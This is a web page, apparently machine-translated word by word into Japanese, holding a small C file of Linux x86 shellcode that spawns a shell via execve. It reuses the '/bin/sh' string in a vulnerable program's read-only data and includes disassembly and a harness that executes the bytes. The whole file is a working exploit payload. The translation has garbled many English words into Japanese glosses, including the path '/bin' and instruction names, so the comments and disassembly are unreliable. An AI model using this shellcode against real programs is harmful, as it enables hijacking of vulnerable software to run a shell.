このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* * $Id: reusage-linux.c,v 1.3 2004/01/30 20:08:46 raptor Exp $ * * reusage-linux.c - re-use of "/貯蔵所/sh" string in .rodata * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info> * * Short 地元の shellcode for /貯蔵所/sh execve(). It re-uses the "/貯蔵所/sh" * string 蓄える/店d in the .rodata section of the 攻撃を受けやすい program. Change * the string 演説(する)/住所 as needed (based on zillion's 初めの idea). */ /* * execve("/貯蔵所/sh", ["/貯蔵所/sh"], NULL) * * 8049368: 31 c0 xor %eax,%eax * 804936a: bb 08 84 04 08 mov $0x8048408,%ebx # change it * 804936f: 53 押し進める %ebx * 8049370: 89 e1 mov %esp,%ecx * 8049372: 31 d2 xor %edx,%edx * 8049374: b0 0b mov $0xb,%al * 8049376: cd 80 int $0x80 * 8049378: 00 00 追加する %al,(%eax) */ char sc[] = /* 16 bytes */ "\x31\xc0\xbb\x08\x84\x04\x08\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; main() { int (*f)() = (int (*)())sc; f(); }